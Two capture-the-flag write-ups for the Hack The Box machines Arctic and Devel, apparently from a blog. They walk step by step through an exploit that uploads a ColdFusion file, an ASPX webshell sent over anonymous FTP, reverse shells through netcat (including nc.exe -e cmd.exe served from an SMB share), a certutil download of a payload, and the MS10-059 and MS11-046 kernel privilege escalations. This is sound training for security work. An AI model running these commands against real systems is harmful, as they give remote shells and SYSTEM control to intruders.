Hack The Box

Hack the Box Write-Up: ARCTIC (Without Metasploit)

This was a “fun” box. It honestly wasn’t too hard because there are many, well documented, public exploits available. I spent way more time than I’d like to admit on the privesc section, but eventually found an easy way in.

Table of Contents:

  • Enumeration and Initial Foothold
  • Privilege Escalation
  • Key Takeaways

Enumeration and Initial Foothold

As always, started with a quick nmap scan of the box with default scripts (-sC) and enumeration of versions (-sV). -T4 simply makes the scan run faster with additional threads.
nmap -sV -sC -T4 10.10.10.11

We find that port 8500 is open, but I don’t immediately recognize what service is running, so let’s check it out in a web browser. I opened tabs to see if it would respond on both http as well as https. I only received a response back on http, but could see the index of a directory!

At this point, my immediate instinct is to start running dirbuster to see what directories we can uncover. While that was running in the background, I decided to manually dive in. I eventually found an administrator page at the URL http://10.10.10.11:8500/CFIDE/administrator.

Here, we can see that we’re running a piece of software called Adobe Coldfusion, version 8!

Viewing the Page Source, we can see that there is a hard-coded salt value that gets added to the password when it’s entered. I went ahead and made note of this in case it’s helpful in the future.

At this point, I started looking for public exploits known to Cold Fusion 8. In my research, I found many many vulnerabilities that we may have been able to use for our way in. I eventually decided on utilizing a Arbitrary File Upload and Execute vulnerability found at the below website:
https://repo.theoremforge.com/pentesting/tools/blob/01a0616a6e09c9dbf42d731261309109443cc3e6/Uncategorized/exploit/windows/CVE-2009-2265_coldfusion.8.0.1/upload.py

I copied that code down and stored it into a new file that I named hax.py. After reading through the code, it appears that we’re simply uploading a malicious JSP file to a directory that we have unauthenticated access to. Reading the usage, we’ll need to first create our own malicious JSP file to pass along.

Leverage msfvenom to create a JSP payload, per the instructions from the exploit.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.45 LPORT=443 -f raw > shell.jsp

Cool, time to exploit!
python hax.py 10.10.10.11 8500 shell.jsp

Perfect, we received a successful message indicating that we have uploaded our malicious file. Time to set up a Netcat listener, and then browse to the URL holding the malicious JSP file to execute the exploit.
nc -nvlp 443

Browse to http://10.10.10.11:8500/userfiles/file/exploit.jsp

Awesome! I’m presented with a shell. A quick whoami confirms that we haven’t pwned the system fully yet.

Let’s grab the user flag real quick before moving onto the next section, which we see is on the user’s desktop.
dir c:\users\tolis\desktop


Privilege Escalation

A quick systeminfo returns that we’re dealing with a 64-bit Windows Server 2008 R2 machine with no patches installed.

In my last post about Devel (which you can find here), we used a tool called Sherlock to locate privilege escalation exploits on a machine.

This time, I wanted to use a different tool. I came across the Windows-Exploit-Suggester.py on GitHub, and figured I’d give it a try. https://github.com/AonCyberLabs/Windows-Exploit-Suggester

While many people give credit to this tool, I didn’t have much luck. It returned a list of exploits that I couldn’t use on this box, and also missed some critical exploits that would have made privesc much easier. Feel free to try it out and see how it works for you — Just know your mileage may vary.

Instead, I Googled local privilege escalation exploits available on Server 2008 R2 machines. Eventually, I came across MS10-059. There are some awesome public exploits available for this vulnerability, and I found a precompiled executable that will present you with a reverse SYSTEM shell.

Note: I do not recommend using public precompiled executables on your machine. Please proceed with caution when you’re unable to view the source code of any executable found on the Internet!!!

I found this particular executable at https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059.

Once downloaded on my box, I transferred it over to the victim by spinning up a quick webserver via Python.
python -m SimpleHTTPServer 80

On the victim computer, I changed into a directory that I had write permissions to, and then downloaded this file using certutil.
certutil -urlcache -f "http://10.10.14.45/MS10-059.exe" MS10-059.exe

Executing this file returns usage on how to gain the reverse shell.

Alright cool, sounds like we need to spin up a Netcat listener to catch the shell! Let’s run this command on our Kali box.
nc -nvlp 9001

And finally, let’s execute this command on the victim box.
ms10-059.exe 10.10.14.45 9001

Checking back on our Netcat listener, we see that we’ve popped a shell. A quick whoami proves that we now have SYSTEM.


Key Takeaways

  • While enumeration scripts will work on some boxes, they don’t always work on all. Make sure to keep trying different things until you find a path that works for you.
  • There are typically many different ways into a system. While learning different methods will always be useful, sometimes it’s best to go with the easiest methods first.
  • Patch outdated software — duh.
Hack The Box

Hack the Box Write-Up: DEVEL (Without Metasploit)


This was a simple box, but I did run into a curve-ball when getting my initial foothold. I’m rating this as an easy box since the privilege escalation piece was simple when utilizing a kernel exploit, and the the initial way in isn’t super realistic.

Table of Contents:

  • Enumeration and Initial Foothold
  • Turning Command Execution to Reverse Shell
  • Privilege Escalation
  • Key Takeaways

Enumeration and Initial Foothold

To start out, let’s run a nmap scan to see what ports are open on the box. This is the command I use, but you can use whatever you like best.
nmap -T4 -sV -sC 10.10.10.5 -oA /nmap

From the output of the scan, we see that FTP on port 21 is open to anonymous login. We also see that there are some files present; iisstart.html & welcome.png.

Port 80 is open and running Microsoft IIS 7.5, a webserver. Let’s open a browser and see what we see at that page.

After viewing the page source, we see that the website is just pulling up welcome.png as the image. Remember how we saw that file on the FTP server from the nmap output?

Let’s connect to the FTP client & see if we can add files to the website.
echo Hello > test.txt
ftp 10.10.10.5
anonymous
anonymous

put test.txt

Now let’s attempt to browse to our test file.
http://10.10.10.5/test.txt

Great! So we found that we can upload our own webpage to this IIS webserver, and then execute that webpage by browsing to it. IIS runs code in asp/aspx, so my next thought was to create an asp/aspx payload to get a reverse shell connection. I created an aspx payload through msfvenom, but I was unable to get a reverse shell this way.

Finally, I found Kali has a built-in aspx webshell located in our webshells directory. Let’s copy this down to our present working directory.
cp /usr/share/webshells/aspx/cmdasp.aspx .

Let’s connect back to the FTP client and upload this webshell.
ftp 10.10.10.5
anonymous
anonymous
put cmdasp.aspx

If things worked, we should be able to browse to this webshell by navigating to the following page: http://10.10.10.5/cmdasp.aspx

Alright cool, we see the page. Let’s run dir to see if we actually have command execution, and if we do, what directory we’re in.

Perfect! So we’ve got the ability to execute commands on the system. Let’s run a quick ping test to make sure we’re able to communicate from this system to ours.

I started a quick tcpdump to capture ICMP requests to/from my VPN connection using the below command, and then execute the ping command in our webshell.
tcpdump -i tun0 -n icmp

The output confirms that our box received a ping request from the webserver — great! So we have command execution and can communicate to/from the box, but how do we turn this into an interactive reverse shell?


Turning Command Execution to Reverse Shell

I attempted a few things from here:

  • Attempted another asp/aspx shell.
  • Transferred the windows binary for nc.exe and attempted to execute locally on the disk.
  • Created my own malicous exe via msfvenom, transferred that to the box, and attempted to execute locally on the disk.

No matter what I tried, I kept running into an error.. “This program cannot be run in DOS mode”.

So if we can’t execute malicous code directly on the disk of the machine, how else can we get our code to run? I chose to try hosting my own SMB server first. My thought was perhaps we could execute a malicious file from a network share, and load it straight into memory. Kali has a built-in SMB server through a python script. Lets locate that and copy it into our current working directory.
cp /usr/share/doc/python-impacket/examples/smbserver.py .

In order to use this SMB server, we need to first create a directory to host as a fileshare. I’ll name mine something simple, “smb”.
mkdir smb

Now let’s find the Windows binary for Netcat and copy it to this directory we just made.
cp /usr/share/windows-binaries/nc.exe smb

Looks like we’ve got everything in place! Let’s spin up the server to a fileshare named “share” using the following command.
python smbserver.py share smb

With our SMB server in place hosting the Windows binary to Netcat, we’re almost ready to instruct the webserver to connect to us. But first, we must spin up a Netcat listener to catch the connection request.
nc -nvlp 8080

Everything’s set up! Let’s head back to the cmdasp webshell and run the following command. If all goes well, we should receive a reverse shell back.
\\10.10.14.45\share\nc.exe -e cmd.exe 10.10.14.45 8080

Looking at the results, we do see the SMB request in our terminal window hosting nc.exe. We also see that we’ve received a reverse shell in our Netcat listener! Let’s run whoami to see what rights we have. We see that we’re not SYSTEM, so our job isn’t done yet..


Privilege Escalation

We’re on the machine, but we don’t have complete control of it yet. Let’s get some information about the computer to see what we’re working with.
sysinfo

Alright, so we’re working with a 32-bit Windows 7 machine. Usually, this command will also return a list of installed patches, but nothing was returned here. Does this mean that the machine is missing all patches? Surely there’s some sort of old Win7 privilege escalation exploit that would work on an unpatched box..

There’s a tool called Watson that will scan a system to find any local privilege escalation exploits that may exist on a machine. You can download the tool from https://github.com/rasta-mouse/Watson.

This is a super awesome tool, but there are a couple caveats.

  • First, it’s written in C#. This means that we’ll need to open Watson in Visual Studio, an application not available in Kali Linux. I’ve installed this on my Windows box.
  • Secondly, the current version of Watson is not compatible with Windows 7. This means we’ll need to dig through the Commits on the Github to download the original release of the application if we want to run it on our target machine.

We’ll need to make sure to compile Watson using the correct configuration for our target machine. Back in our reverse shell, let’s query the registry to see what version of .NET we’re running.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

We see that the box is running .NET 2.0, 3.0, and 3.5. Now we know how to compile the Watson script. I set my Windows machine up with the Visual Studio Community edition, and opened Watson.sln from the Github page. With the project loaded, let’s go to Project, and select Watson Properties.

We’ll need to adjust the Target Framework to patch our target machine. The latest installed on our victim is 3.5, so this is what we’ll select.

We also need to adjust the architecture to match our victim machine. Let’s go into Build, and launch Configuration Manager.

We’ll change the Configuration to Release, and Platform to x86, the same as our victim machine.

Finally, let’s select the Build drop-down again and click Build Watson. The output at the bottom of the window should show you the file location this was built to.

Let’s copy that over to our Kali machine, host it in the SMB fileshare directory, and then execute it on our victim the same way we did Netcat.
\\10.10.14.45\share\Watson.exe

We see a TON of exploits available on this box. After researching each one, I decided to try out MS11-046. Since the exploit is listed in Exploit-DB, we should have it locally on our box already. Let’s find it on our system and copy it to our present working directory.
searchsploit ms11-046
locate exploits/windows_x86/local/40564.c
cp /usr/share/exploitdb/exploits/windows_x86/local/40564.c .

Let’s view the source code to get an idea of how the exploit works. We also find that the author provides compiling instructions.
gedit 40564.c

Using those instructions, let’s compile the code.
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Now that we have our privesc executable, let’s move that into our SMB file-share so we can transfer it to the victim.
mv MS11-046.exe smb

Back in our reverse shell, let’s execute our payload. We see that we’re now presented with a shell in the System32 directory.
\\10.10.14.45\share\MS11-046.exe

A quick whoami command confirms that we now have full SYSTEM access.


Key Takeaways

  • Even when you can’t write and execute code directly from disk, remember that there are other methods to pull down files.
  • While Watson may take a little bit of work to get compiled, the benefits are great as it automates the post exploitation enumeration process.
  • Anonymous logins are bad — mm.kay?